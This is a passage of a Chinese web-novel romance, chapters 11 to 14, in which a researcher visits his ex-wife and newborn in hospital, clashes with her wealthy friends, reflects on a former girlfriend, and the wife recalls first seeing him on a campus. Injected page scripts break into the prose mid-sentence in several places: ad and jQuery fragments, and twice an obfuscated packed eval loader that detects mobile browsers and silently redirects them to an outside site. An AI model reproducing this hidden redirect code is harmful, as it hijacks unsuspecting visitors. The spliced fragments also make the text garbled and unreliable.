怕我放手吗 11.怕我放手吗 周轩在黔南待了四天,临回去那天,同行的同事要出门买特产。 “这附近有很多好的药材,我想着我老丈人总是腿疼,买点回去给他冲水喝,周哥你去不?抓这机会买点当地货真价实的好药材啊。”严恩孟是个刚结婚的年轻小伙,人黑黑瘦瘦的,单位里宠老婆的名声倒是很大,两耳不闻窗外事的周轩也略有耳闻。 “不用,你去吧。” 小伙也不再多说,哼着歌就出门了。 周轩继续看文件,停了几分钟后,起身拿了外套也出门了。 下了高铁,他拉着行李箱直接往半山春水去。到地方后,他取出带给孩子的奶粉和在药材市场买的杜仲。 黔南的杜仲全国有名,补肝肾、强筋骨、安胎。女性在生完孩子之后身体比较虚弱,适量的吃一些能够帮助身体快速恢复。 周轩想,他还没有想故意折磨杨沧的心思。 门打开,佣人看到他一愣:“周先生,杨小姐和孩子都住院了,你走那天就进去了,你不知道?” 老旧的车疾驰在公路上,一路加速,风驰电掣的停在了医院。 周轩急匆匆赶到,推门动作在半漏的缝隙间戛然而止。 杨沧住的病房,乌泱泱站了一群人,他们围着病床七嘴八舌的说着,并没有人注意到门边的细小动静。 杨沧被包围在人群里,晃动间只看得到白色床单。 “沧姐,你孩子都生了,也没想着通知我们来看看,太不地道了。”有个穿着一身黑裙,踩着高跟鞋的女孩忿忿道。 “就是,我这做叔叔的,还能差孩子个大红包吗?!”个子稍矮,身材肥胖的男人不乐意的接话。 他的话还没落,其他人七嘴八舌就接了上来,偌大的房间被填充的吵闹、闷热。 在人群对面的沙发中间,坐着一个抵着下巴,撑着脸不知在想什么的男人,并不融入人群,只安静坐在那里,但人群显然不敢忽略他,总有几个话说到一半,就要往后看一眼,问他:“修哥,你说是吧。” 男人并不理这些人,只松弛的坐在那里,一身白衣却散着阴冷的气息,目光最先看向门边,像一个敏锐的老鹰,犀利尖锐,在看到是周轩后,神情更为阴鸷,不动声色地看着他。 注意着瞿修丞动静的人,很快便看到了门口的人,房间慢慢安静下来,都扭头看向周轩,若刚才的氛围是烦躁吵闹,现在则微妙诡异,视线在周轩、瞿修丞、杨沧之间来来回回。 十几道目光落在身上,原想等他们说完再进去的周轩无奈,推门大方进去。 矮胖男人最先有反应,轻蔑的视线在他身上故意上上下下扫了几圈,才冷哼道:“我当是谁呢,这不是孩子那不要钱的爸爸吗?在门口鬼鬼祟祟的我还以为小偷溜进来了,也不对,我们这是VIP病房,那些穷酸的人就是想偷也上不来。” 他说完,立马有人接话:“稀罕啊,我第一次见人来医院看望病人还空着手来的,都这年头了,怎么还有这么厚脸皮的人,就算是当爸也干不出这事吧。” 他说这句话时,下巴点了点病房里差点堆积不下的礼品,每一个都是价格昂贵。 “就是啊,还高级科研人员呢,我的学历滤镜碎彻底了,不过是个想站着占小便宜的小白脸。” “你跟他废什么话,要不是我们沧姐赏脸,他是能给我们说上话的人吗?我老子手下养着一堆博士呢,我去公司转一圈,不顺眼随便裁下来的哪个不是苦苦求着我给他个饭碗,一个月那几万块钱还不够我给车加油费的。” “沧姐,你说是吧?”众人嘲笑鄙夷着。 唯有坐在沙发边的男人和一身黑裙的女人抱臂不说话。黑裙女人蹙着眉毛瞪着周轩,后又把视线落在杨沧身上。 她脸色发白,额头冒虚汗,要不是群里有人带女朋友来医院不小心撞见了杨沧下楼做检查,她还不知道发生了什么事。 才三个月不见,杨沧就能把自己折腾到如副颓废、疲倦。 董平妙心里唉了一声,眼尾扫到依旧从容、端正的周轩,恼火生起,也想说点什么,杨沧冷冷呵止了房间吵闹。 “说够了都出去。”她说。 矮胖男嗤笑:“听见没,让你出去,还不快滚。” 他朝周轩喊。 杨沧:“你们都出去。” 她浑身虚汗冒得更厉害,那些话在她耳边滚了一圈,难堪的又何止周轩。 矮胖男脸色一僵,周围人都反应过来,小心拽拽旁边的人,窸窸窣窣不敢发出太大的动静,擦着肩膀挪着脚尖出去了,董平妙看了看杨沧,拧眉也离开。 宽大的房间一时只剩三人,滞涩的空气依旧笼罩在头顶。 瞿修丞懒洋洋起身,整理着领口往床边走,在靠近周轩时,一道凌厉的拳风袭向周轩,周轩早有防备,躲开了他的袭击。 “瞿修丞!”杨沧蹙眉。 瞿修丞阴笑着活动手腕,如一头夜晚出行的野狼,阴森森地看周轩。 拿笔的周轩怎么可能打得过爱玩拳击的瞿修丞。 瞿修丞这么替她出气,在周轩眼里只会是因为她的愚蠢所致。 “瞿修丞,这里没人需要你来伸张正义,你也出去。”杨沧后背已是一大片湿汗,身上的睡衣湿漉漉的包裹着她,全身上下没一处舒服。 瞿修丞倒也没真想在这里展开一场拳击,只对杨沧说:“你给我脑子清醒点。” 说完,他转身看也不看周轩就走了。 房间终于归为安静,杨沧喘着粗气道:“你来干什么?” 她的胃里像有一把刀在旋着转圈,恶心呕吐的感觉上涌,已经是在强撑坐着。 周轩早就习惯了杨沧圈子里的人对他的态度,“孩子病了?” 对,孩子,他是来看孩子的。 杨沧后知后觉自己问了个多么愚蠢的问题。 杨沧:“她有母乳性黄疸,黄疸值过高,在楼下照蓝光。” 前几天甚至出现呕吐的症状,一向觉得自己对这个孩子的出现心平气和的杨沧吓得也跟着几天吃不下饭,那天在院子阳光虽好但还是吹了一点冷风,导致这两天她也在反反复复生病。原本买了仪器在家里照蓝光也可以,但因为她的身体,两人都在医院住下了。 杨沧说完房号,等着他转身离开好换掉身上湿掉的睡衣。 周轩却往她这边走了一步。 “干什么?”杨沧警觉地看他。 周轩看她防备的模样,好笑的指了指自己差点又要被打的脸,从结婚到现在挨的打比这一年加起来都多,事到如今,该防备的怎么都不该是她。 “要哪件睡衣,我去拿。” 撑着胳膊要下床的杨沧顿在那里,低垂的睫毛眨了下,情绪像落在湖面的涟漪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,稍纵即逝。 她沉静道:“不用,你出去吧。” 周轩看了她两三秒,不再说什么,转身离开。 杨沧泄气,忽然就想任由浑身的潮湿包裹自己溺毙在这燥热里,她没有力气再动半分。 周轩看完孩子,确认没有太大问题,松了口气后,才想起来后备箱里遗落的东西。拎回房间,杨沧正吃了东西往外吐,最近总是这样,吃什么吐什么,最大的好处可能就是怀孕导致的肥胖可能不肖一个月就能减下去了。 杨沧擦了嘴坐直,让王玉莲把东西撤下去,看到周轩放到旁边的东西,“你吃错药了?” 周轩可不是会把无关紧要的话放在心上的人,她绝不相信他为了刚才那些话专门去买了礼品。 周轩意识到她在说什么,把药材放到离她最近的桌边,“这个拿去让佣人水煎服或制成粉剂,每日用温开水吞服100ml。” “不要,拿走。”杨沧拒绝。 周轩看她。 杨沧冷冷回视。 周轩说:“如果当初我拒绝的时候,你听了,现在也不会再有你拒绝。” 换言之,当初她都没有听他的话,他自然也不会。 杨沧一滞,竟哑口无言。 在固执己见这方面,两人尴尬的保持了相同点。 王玉莲把饭端走后,又急匆匆地去照顾孩子了,房间里有挥散不去的酸味,从她吐的垃圾桶里传来。 杨沧闻到,竭力掩饰着尴尬,周轩偏要走过去,看一眼然后瞧向她,“吃不下?” 杨沧懒得理他,端了杯热水喝,结果刚下肚两秒,“唔……” 她捂着嘴,“快。” 不用她说,周轩已经眼疾手快,端起垃圾桶递到了她身前,杨沧吐了个干净,整个肠胃抽搐着人快虚脱,垃圾桶里全是她吐出的东西,眼角都因为不停呕吐挤出泪水来,整个人无力地倚在周轩的胳膊上。 她累的完全没留意到,周轩看了看身前的人,没有推开,轻拍她的后背,让她吐干净。 杨沧没想到,在孕期都没有的呕吐,这个时候没完没了犯起来了。 等她回过神来,才发现整个人都快倚到周轩怀里了,身体一僵,立马移开。 周轩没说什么,俯身把垃圾袋抽出来。 杨沧看的眼皮一跳:“你别管。” 里面的酸臭味直冲鼻尖,就连她都觉得脏。 周轩动作不停,将垃圾扔出去后打开房间空气循环,又套了个垃圾袋,然后问她:“热水袋有吗?” 杨沧:“你要干什么?” 周轩知道问她也无果,干脆又下楼去买了一个热水袋,清洗、灌水,拿回病房递给她。 杨沧不接:“你怎么还不走?” “拿着放到肚子上,热水袋能一定程度上减轻胃肠道痉挛,缓解胃部不适,你现在吃什么吐什么,除了蒙脱石散这些基本肠胃药,还要多喝温水,这几天吃流食,上火寒性的东西都不要在碰了。” 杨沧沉默地看了他片刻,讥诮地问:“周轩,你这么好心,难不成,是怕我真放手了?” 周轩:“这就是好心了?” 他笑:“我照顾一璇时,这些经验都是在她那一点点攒出来的。” 杨沧的笑冷下来,慢慢龟裂消失。 他是知道,怎么刺死她总是反复想要对他春风吹又生的心的。 12. 善男信女 12.善男信女 最后,热水袋还是放在了杨沧腹部。 周轩又回去看孩子,一直待到她照蓝光结束,在医院守到深夜,病房里静悄悄的母女两人都已熟睡,他关门离开。 回到单位寝室,停好车上楼,路头刚好有个穿着白衬衣女人低着头往这边走,步伐极慢,不长的一段路让她走的格外漫长。 周轩脚步停下,女人闻声看过来,见到是他,略显僵硬地扯出了一个笑容:“周轩。” 她极有分寸,分手后便只连名带姓的唤他。 他点头,两人一起往单元楼里走。 之前,傅一璇提出想借租他的房间,周轩拒绝后,又联系她楼上1405的同事最近正打算搬出去,让她去提前打声招呼。 因着他给的消息,傅一璇后来也顺利的搬进了这栋楼。不过两人一个在14层,一个在22层,平日里都忙,并不常在楼里相遇。 她后来想感谢他的帮忙,不过又想起他的新女友会介意,便也不了了之了。 分手后两人便渐渐疏远,联系也不多。即便住在同一栋楼,但两人忙加上有意避开,也很少见面。忽然在楼里相遇,傅一璇飞快去按电梯,掩饰自己的尴尬,人总是在这时候忙碌一些。 动作太快,宽松的衬衣袖口在抬胳膊的时候往下滑,露出了胳膊上的一道红痕。 她赶快拽下袖口,周轩的目光已经落在上面。 她干笑,“前两天不小心,跳绳甩到了。” 那样的痕迹,并不像跳绳会打出来的,但对方不想说,周轩自然不会过分追问,即便两人曾经是情侣。 电梯门开,傅一璇点头,快速离开了电梯。 电梯复归安静,银色镜面里他几不可见的蹙了下眉。 翌日,周轩同项目的人尚不知道他已经回来,严肃铁面无私的项目组长不在,几人总算能在实验室里趁机摸鱼。 “哎,我昨天晚上从外面回研究院,大门口你猜我遇见谁了?”说话的是实验做得不怎么样的小娟。 “姐你这关子卖的也太大了,咱们院这么多人,你好歹给个提醒,哪个部门的说下啊。” “啧,我都这么说了,肯定是咱们比较熟的啊。”她挑挑眉,挤眉弄眼:“还是你们很兴趣的。” “我们感兴趣的……不会是咱们组长吧。” 周轩本要进去打断众人的步子停下,表情意味深长,这位说话的,实验能力更是平平无奇。 小娟有点怂的缩脖子,“他的瓜也得我知道点什么啊,不过,跟他沾点边,不,很沾边。” “傅一璇?她怎么了?”整个院里也就这位美女研发与组长关系最深。 “靠,你该不会说她……”一米九高,长的像个长颈鹿数据整理的却连第一行都让人看不下去的张超也插嘴,鬼祟道:“其实我也遇见过……她是不是被……包养了。” 最后几个字,他说的格外轻,也格外清晰。 “嘶……”混杂着吸冷气的声音,还有几声激动:“我也怀疑我也怀疑。” “她这半年明显财务状况好多了。” “总有豪车接送。” “我也看到了!我当你们都不知道,有一次晚上回来,那个豪车主人还下车了,你们绝对想不到,是个看上去有六七十的老头!” “靠!”张超大吼:“我的清纯女神终于是被金钱腐朽了。” 他痛吼:“到底为什么啊?!” 言语里喊着贫穷激发的不忿以及那因为可以理解而产生的不耻。 “她家的情况你又不是不知道,缺钱。”小娟也有些欷歔:“咱们这行业虽然看上去光鲜亮丽,那也不能跟做生意的老板们比啊,外在条件优秀,能有几个不受金钱诱惑的。而且……要不是咱们组长为了抱有富婆的大腿甩了她,富婆横刀夺爱,她怎么会沦落到这种境地。” 说到这事,众人七嘴八舌,纷纷说起以前不小心撞见傅一璇从豪车上下来的场景,还有她和组长的恩恩怨怨。 周轩脸色彻底沉下,推门要进去,旁边忽然过来一个人,大步从他旁边走进,原本热闹的房间在看清来人后瞬间陷入诡异的安静。 傅一璇面无表情地走向她的实验台,众人低下脑袋回自己的地方,周轩冷着脸把资料放回桌上,刚要呵斥众人,她抬头打断:“周组长,这次项目我有进展要汇报。” 周轩看向她,她朝他勉强挤出了一个笑容。 他点头,咽下那些话。 “好。”他走回办公室前吩咐,“其他人等会按序过来汇报。” 两人一走,实验室氛围更加紧张,来不及苦脸抱怨,严肃着表情整理数据或盯实验。 傅一璇实验的确有进展,两人讨论确定了实验的下一步进展后便分开了,此外再无更多的话。 周轩忙完工作去医院,等在孩子病房外陪她照蓝光,视线落在了走廊外的蓝天,一片白云慢慢悠悠的正往右移。 他鬼使神差的想起他第一次对傅一璇这个名字有印象的时候。 读博第二年,周轩对学术的热爱疯狂到对同组的人都没认全,以至于导师向他笑呵呵说起:“一璇那小姑娘不错,人机灵漂亮,干活利索,你俩搭配着给我省不少事。” 周轩迟疑着,一时半会没明白过来导师说的是哪号人物,但没有导师力挺他的实验就不会有他的现在,而他未来的路会怎样可以说是他一句话的事,贫穷出身的他自然不会只是听听而已,即便好似这么一句闲聊,他也在脑海里仔细搜寻了半天,最后从那个“干活利索”的评价里想起来他最近的搭档,那个白白瘦瘦,也不怎么说话,偶尔会看着她害羞的女孩。 是,干活确实利索。 导师评价很中肯,周轩要反应一会,也是因为他给那个女孩的标签是“不碍事的搭档”。 他赞同的应,并举了几条她干活的案例来论证导师评价她的观点。 导师听完更是眉开眼笑,“我听你师姐们背地里说你俩金童玉女,我瞧着你俩也挺合适,周轩你怎么想?别天天光想着做实验,脑袋学晕了,更整不出东西来。” 合适? 周轩万万没想到,导师会扯到这个方向。 他心里从来只有实验,是因为他有快要压垮他的贫穷和学习压力,再没有论文出来,周轩不知道他还能在院士手下待多久。 未免被派去其他老师那里,周轩从不错过这位导师的任何一句话。 他没明白这究竟是一句笑谈,亦或者后半句话是在点他,他已对这个硕博六年都没做出东西的弟子不满。不管怎么样,都足够当时窘迫的周轩七上八下。 因此,当他笑呵呵说“我门下还没出过情侣呢,你俩要是在一起了,做我的左膀右臂倒也有意思”时,周轩把这句话放在了心上。 诚如导师所言,这女孩漂亮干净,更重要的是做事能力一流,比博三师兄还要强上许多,而他也越来越多的发现,这个做实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14000292|148466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验一板一眼的女孩,见到他的时候总会红了脸躲闪眼睛。 像个小兔子,机灵又聪明,想吃窝边草,闻一闻,又吸着鼻子跑掉了。周轩像面对一个实验,不动声色的观察,然后在导师嘴里所谓“合适”的女孩靠近他,终于鼓起勇气,面红耳赤地说:“周轩,你要是毕业后想考虑感情问题的时候,能不能先看看我。” 周轩心情平静,从女孩期待的眼睛看到她无措紧张纠缠的手指头,感情这个东西以前从来不在他考虑的范围内,但导师笑呵呵的评价还在耳边。 左膀右臂,周轩莞尔。 他问:“为什么不是现在?” 傅一璇呐呐:“……什么?” 周轩:“现在也可以开始,还是会耽误你的学业?” “当然不会!”朗声应完,女孩脸更红了。 周轩的心还在平静,那双漆黑的眸却浮出灿灿笑意,脸上露出了罕见的温柔。 “嗯,那就好。” …… 记忆回笼,周轩想起白日的傅一璇,冷白着脸,只一年多,她脸上的羞赧单纯几乎消失殆尽,只有沉重到缓不过来的疲倦。 杨沧总说他冷清,在傅一璇这事上,他吐出口气。 有愧。 “让你来陪着孩子,煎熬成这样?” 一路蹒跚,小心从床上下来走到这里的杨沧,刚过来就撞上周轩沉沉叹气,忍不住讥讽。 坐月子期间,医生建议她走动走动,杨沧这几日总会从病房散步到这里,在孩子照蓝光结束后,再慢慢走回去。 刺耳的话,让周轩的目光移到了杨沧身上,她目光尖锐地看着他。 周轩想,她也变了,变了很多。 沧桑、羸弱、会哭、逐渐暴露出自己的弱点。 唯有一点,还是那样的张扬、不客气。 那是她说,自己刻进骨子里的戾气。 周轩:“你误会了。” 杨沧需要休息,只能在他旁边坐下,联排的白色塑料凳子,两人中间隔着一个空位。 她说:“误不误会的,你要不想来,没人逼你。” “我该为你的宽容大度表示感谢吗?” 杨沧自嘲:“别恨我就是了。” 说罢,偏头看他,“人逢喜事精神爽,你怎么还蔫了吧唧的。呵,和我离婚了不应该很快乐吗?还在等什么,快去找你的白月光再续前缘啊。” 她不该在这时候提傅一璇。 周轩顺着说:“如果她还需要,我会。” 杨沧讥讽的笑略显僵硬。 她在自讨苦吃的死路上真是不撞南墙不回头。 “嗤。”她只能百无聊赖的收回目光,“那祝你们幸福呢,到时候结婚,看在耽误你们这一年多的份上,我会给你们包个大大的红包。” 落到钱上,沉静如周轩也想要刺她:“你好意思给吗?” 又继续道:“我还会拿吗?” 如果不是她强硬的要用钱解决所有问题,他的生活也不会被搅乱到现在这个样子。以前总想站着挣钱,杨沧的出现无非是告诉他,这个世道就是,我要你跪着收钱,还要感恩我的另眼相看。 “杨沧,你是个罪人。” 杨沧撑在凳子上的手一抖,指尖逐渐泛白。 一声苦笑薄薄落在耳边。 周轩涩然道:“我也是。” 今夜,这里没有善男信女。 又或许,从来没有。 13. 初见 13.初见 杨沧知道周轩怪她,甚至恨他,但是她万万没想到,他给自己的判词,如此严重。 罪人。 她歇斯底里的情绪早已在与他反反复复的斗争中消磨掉,只浅声辩白:“如果没有我,傅一璇的妈妈早死了。” 她的目光呆呆的落在地面白色瓷砖上,那里粘着一块黑色的污垢。 “如果不是我,你可能连博士都读不完。” 沉默良久,走廊里只有来来回回的病人与护士发出的嘈杂声。 杨沧以为他无话可说。 “可那也是我俩原本的人生。”周轩说。 一句话,将杨沧尽数的辩驳噎了回去。 我俩…… 不管好与赖,始终没有第三人。 半开的窗户吹来的冷风让虚弱的杨沧身体缩起,坐在她旁边挡风的人早已离开,空空如也的凳子上似乎还残留着他走后的冷气,侵蚀着她愈发薄弱仍努力捍卫着的意志。 杨家人做事,从不往回看,从不后悔。 她苦笑,只撑着最后的不悔。 照蓝光结束,护士帮忙推着婴儿车陪她回病房,刚走出电梯,一道灼热的目光就直直的落在了他身上。 杨沧抬头,阮嘉沣眉毛蹙得老高,挤眉弄眼地看着她。 护士到门边,他顺手接过车,杨沧看也不看他,推门进去,阮嘉沣跟在后面,关上门看着她缓慢笨拙的步伐,故意发出阴阳怪气的啧啧声。 她生产住院的消息泄露出去,杨沧也不指望医院里修养还能平静下来,其中最令人头疼的,俨然就是身后这个一点不觉得自己烦人,还在摇头发出奇怪声音的阮嘉沣。 他低头看车里的婴儿,“杨沧,这是你生的吗?别抱错了,这孩子看脸蛋跟你关系不大啊。” 杨沧乜他一眼,给了王玉莲一个示意,她便带着孩子先出去了。 阮嘉沣笑的更大声,“活久见啊活久见,我们杨大小姐也能搞出这么精彩的事情来,真是不枉我听到消息专门从澳洲飞回来。” 杨沧靠在床边,拿着一杯水慢慢喝着,并不搭理他的废话。 阮嘉沣这人,圈子里有名的混世魔王,人贱废话多,平日里游手好闲最爱惹是生非,偏偏是杨沧舅妈那边亲戚阮家的宝贝独子,勉强算她半个弟弟,两人一起长大,杨沧知道不能接他话头,这小子顺杆爬的功夫一流。 阮嘉沣并不在乎,拍着手走过来,转着圈的围着她上下打量。 “牛啊牛啊,一声不响的,孩子都生了。”阮嘉沣笑的眉飞色舞,“以前有人总笑话我三天两头换女人,就知道泡妞,结果呢,你倒好,一个坑里面跌这么大一跤,这得什么时候才能好啊。” 杨沧抬睫,不客气地道:“你皮痒了?” 阮嘉沣耸肩:“我倒是还好,但我觉得有些人的皮是痒了。” 最后几个字,他说的不正经,表情却严肃了,“周轩呢?” 杨沧看他一眼,又低头继续喝水。 “你不说我就找不到他?”他撸起袖子,“敢在生孩子的时候和你离婚,以前的教训还不够啊,我非让他知道知道有些人是他这辈子都不能得罪。” 他说的愤慨,已经拿出手机在摇人。 杨沧吹了吹水面薄薄的热气,低道:“是我要离婚的。” “开什么玩笑,你爱他爱的都他妈快不是你了,你能说离婚?”阮嘉沣半点不信,却在杨沧虎视眈眈的眼神里低了点音调,“……你认真的?” 杨沧哼了声。 “你疯了?当初你出人出力出钱连威胁带拐骗的好不容易结了婚,这时候你离了?”说到这,他忽然反应过来,“是不是他对你不好?欺负你了?我操,这穷小子,当初就看他不顺眼,不就是个研究员天天眼高于顶看不起谁呢,不行,我还是得找人再教训教训他。” 他一边在手机上找人,一边说她:“听说瞿修丞来,你还拦着不让揍。杨沧,你脑袋被驴踢了,怀孕当天离婚这事他都干得出来,你还想着他呢?” 在他的手即将按下电话号码时,杨沧抬手,夺走手机往后一扬随意地扔了出去,手机撞到墙壁后重重摔在地面,折叠屏直接裂开。 “我操?”阮嘉沣瞠目结舌地看着她,半晌才回过神来,“我、我他妈这手机上还存着一堆澳洲美女的手机号呢!” 杨沧:“以后别再去找他。” “为什么不?”阮嘉沣抱臂,“敢欺负我姐,我得让他知道知道圈子里为什么都叫我阮魔头!” 杨沧把水杯放回柜子,脱了鞋坐回床上,动作间语调平缓:“你是觉得还不够丢人吗?” “是他配不上你,关你什么事。” 杨沧笑了一声,带着无奈,“牢骚发够了就走,拿着你的手机滚回澳洲去。” “我不,这次好不容易回来,我爸答应了我能留半年呢……只要我不闯祸。”他飞快补了后半句,心虚地瞟了她一眼。 杨沧:“该去哪去哪,别来烦我。” 阮嘉沣哼哼,磨磨唧唧赖在她床前就是不走。 “你还想干嘛?” 露面就张牙舞爪的阮嘉沣,此时耷拉着脑袋,有些心虚的看了她一眼。 “姐……”他拖拉着声音喊,杨沧的鸡皮疙瘩都要掉一地了,这小子混不吝,从来就没把她当姐看过,更别说这么喊她了。 “别废话。” 阮嘉沣心虚地溜她一眼,又磨磨唧唧一会,才终于说:“事情发展到现在这样子,是不是都,都怪我……” 杨沧蹙眉:“你想什么呢?” “肯定就是,至少当初要是没有我,就以你的身份地位和生活轨迹,怎么可能认识周轩那么个穷小子。”他迅速反驳,“那个白眼狼,我当初就该整得他班都上不下去。” “阮嘉沣!”杨沧厉眸呵止,看他满眼心虚愧疚夹着后悔,又道:“小沣,你误会了。” “怎么可……” “真的……你误会了……” * 不学无术的阮嘉沣偏爱谈美女学霸的反差取向一直是圈子里的一个笑梗,距离前一个女友分手还不到半月,他又换了个新的,偏偏今晚要家族聚会,勒令他顺道去接杨沧,可他只想见见自己的亲亲女友。 他给杨沧打电话问:“你的司机呢?” 杨沧有夜盲症,晚上不能开车。 “感冒,这几天休息。”杨沧正在忙工作,接到他的电话带着不厌烦。 “那我派人过去接你?”他就想抽点时间约会。 杨沧:“需要你派?半小时内,给我立马出现。” 家里明显是想逼他去,杨沧懒得帮他忙,天天不务正业确实欠抽。 说罢,她就挂了电话,阮嘉沣盯着手机气的牙痒痒,跟着女友的电话打了过来,“啊宝贝,我马上到,马上到……” 从他住的地方到学校,刚好路过杨沧的公司,想来想去,他还是先接上了杨沧,只不过到该拐弯的地方,硬着头皮开去了学校。 上车后忙了一天的杨沧哪想到阮嘉沣吃了熊心豹子胆,被吵闹声音吵醒时,睁眼看到车窗外,青春靓丽的大学生,满满的活力校园的气息,让她半晌都没反应过来什么情况,跟着视线落在不远处一个大柳树下拥抱黏糊的情侣,脸立马就黑了。 大概是她的视线过于炽热,阮嘉沣立马回头看过来,见她醒了,拉着他高挑细白的女朋友过来,“来,给你介绍介绍,我女朋友李妙妙,经济学院的女学霸,她可是刚拿了国家奖学金的人。” 李妙妙闻言,脸蛋微红,轻拍他的肩:“嘉沣,这点事你就别老说了。” “什么这点事,你这么聪明,回回考试拿第一,很牛的好嘛,我从小到大连倒数第二的滋味都尝不到。” 李妙妙不经意的蹙了眉,脸上的笑依旧灿烂,“你好好继承家业就行了,干什么一定要跟学习过不去,很无聊的。” 阮嘉沣更骄傲,搂着她的腰朝她脸上亲过去。 两人又腻腻歪歪起来,杨沧的脸已经黑成一片了,“阮、嘉、沣。” “十分钟,就十分钟,我和妙妙再说会话就走。”不洗洗耳朵,回去听那群老顽固说话那叫一个煎熬。 “给我爬上来开车。”杨沧斥道。 校园里面,大庭广众之下,阮嘉沣的手已经不安分的穿过白衬衣往里探,女孩倚靠着他半边身子,胸脯若有似无的蹭着,这两人哪是说话,完全当周围的同学为无物,似有若无的目光不断瞥过来。 看着这俩发情动物,杨沧的脸更黑了,摔门下车。 这时候的阮嘉沣,他爸来治都未必管用,杨沧懒得治他,只离这俩人远远的,避在一个校园的绿湖前站着。 傍晚时分,学生都下了课,往来的人不少,叮叮当当的自行车铃声回荡在校园里,夹杂着电动车嘀嘀按喇叭的声音。 看了一天的文件,杨沧的眼睛早就有些酸涩,揉了揉眉心,眺望着平静的湖面放松眼球。 湖面上长满了荷花,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14000293|148466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值夏日,有几朵荷花开的灿烂,晚风拂过,有飞起的蜻蜓逗弄着粉嫩的花瓣,风里都是夏日气息。 杨沧因为要继承家族事业,18进了商学院后三年完成所有学业就进了公司,六年过去,校园生活与她而言已经格外陌生,背后是热闹的人声,引得她忍不住回头。 勾肩搭背,欢闹嬉戏的人群旁,柏油路上一辆自行车从人群的后面避开缓缓骑过,杨沧的角度,只看得到一道高挑侧影,男人白色的T恤被风吹得鼓起,黑色发丝轻扬微乱,透出不同于他往日严肃的清爽年少,自行车后座,穿着浅蓝色过膝裙的文静女孩小心拽着他的衣角,双腿轻勾在温柔的风里。 杨沧的目光定定的落在那里。 那辆自行车从人群里出现,像盈盈夏日里的一股清风,刚要抚去她心口的燥热,又慢慢远去消失在了人群里。 终于要和女友依依惜别的阮嘉沣看到她长久呆愣的视线,好整以暇的走过来,“你认识那学生?” 他的话打断了杨沧的思绪,嫌恶地看回他。 阮嘉沣笑的蔫坏,“妙妙,你认识刚才过去的骑车那人吗?” “当然,周轩啊,我们学校应该没几个不认识的吧。他本硕博都在这里读的,学习成绩更是一流,和他相比,我压根算不上学霸。” “你这话说的,捧别人也别踩你自己啊。”阮嘉沣抱住她肩膀,“单看背影,我就感觉那小子长得不错。” 李妙妙闻言,脸也有点红了,“周轩他出名不仅仅是因为他学习好,更重要的是他那张脸和身材,简直绝了!偏偏他脑袋一根筋,就知道学习,谈恋爱对他来说估计就是个负累。” “负累?那他后面带的什么人?”明眼人任谁看都觉得女孩和他关系不一般。 李妙妙噎了下,“……听说好像是女朋友。” 话音落下,她感觉一道凉凉的视线落在她脸上审视,她看过去,目光始终没好好落在她脸上的杨沧正抱臂瞧着她。 强大的气场让她往阮嘉沣身旁靠了靠,“杨姐……” 氛围莫名有些奇怪,李妙妙缓解气氛道:“不过要真是女朋友,两人估计也长久不了,听他们院的人说,周轩家里是贫困县下面的村里来的,条件非常不好,现在也就是校园里,马上毕业了,你说还有几个愿意坐在他自行车后座笑的。” 她抱着阮嘉沣胳膊,娇俏道:“我还是更乐意坐在你的保时捷里哭。” 阮嘉沣一乐,揉起她脸蛋,“这罪名我可不担,我什么时候让你在车里哭过,不过……说起来在车里好像也有点意思。” 李妙妙羞恼,钻进他怀里拍他:“流氓!” 杨沧太阳穴一跳一跳,在把这两人都收拾一顿前,大步走回了车,“上车。” 阮嘉沣再不敢耽误,揉了一把亲了几口赶紧告别了女友过来当司机。 车一路往校园外开,一道骑自行车的身影又闯入阮嘉沣视野。 他嘿呦笑了一声,挑着下巴往那说:“这小子,据说还是个博士呢,这个点就这么带着女朋友出校园了?这俩人不会出去开房吧,不过也没什么,我告诉你,现在的大学生玩的可比我花多了?” 杨沧的视线透过车窗落向那道身影,保时捷开的不快,但也很快超过了自行车。 透过右后视镜,杨沧的目光终于看清了男人。 夏日傍晚的黄昏穿过清澈的云,在他白色T恤落下细碎的橙红光影,即便是骑着车,他的身子依旧是高挑挺拔的。那头黑色的头发打理的干净利落,在风里轻轻吹杨,看不见久浸实验室的男生会有的潦倒,面庞白净,五官分明,那双漆黑深邃的眼睛,此时正泛着淡淡的笑意。 不知两人在聊些什么,男人慢悠悠的骑着车行驶在夏风里,一举一动都透露着悠闲、放松、舒逸,那日的严肃冷淡尽消,温暖而内敛的笑很浅的浮在那张脸上。 傍晚的光都变得烫起来。 车越行越远,那道身影彻底消失在幽长的马路尽头。 车里安静了片刻,阮嘉沣又不安分的喊她。 “杨沧?” 跃跃欲试,带着点挤眉弄眼的喜悦,好似发现了什么好玩的。 杨沧懒懒瞥去。 “你有兴趣,不搞来玩玩?” 杨沧看了他几秒,脑袋靠着椅背身体往下退,松弛的打算睡觉的姿态,闭眼慵懒道:“胡扯什么。” 阮嘉沣意味深长的笑了笑。 “想玩就试试呗,该是他们这种人,求着我们碰一碰。” 14. 学术交流 14.学术交流 杨沧每天工作忙到深夜,闲暇的时间就是和圈里的人喝酒,校园里的偶遇在阮嘉沣那混蛋再次出现时,才又浮现脑海。 这晚,她和董平妙等人在一家酒吧包厢玩牌九。 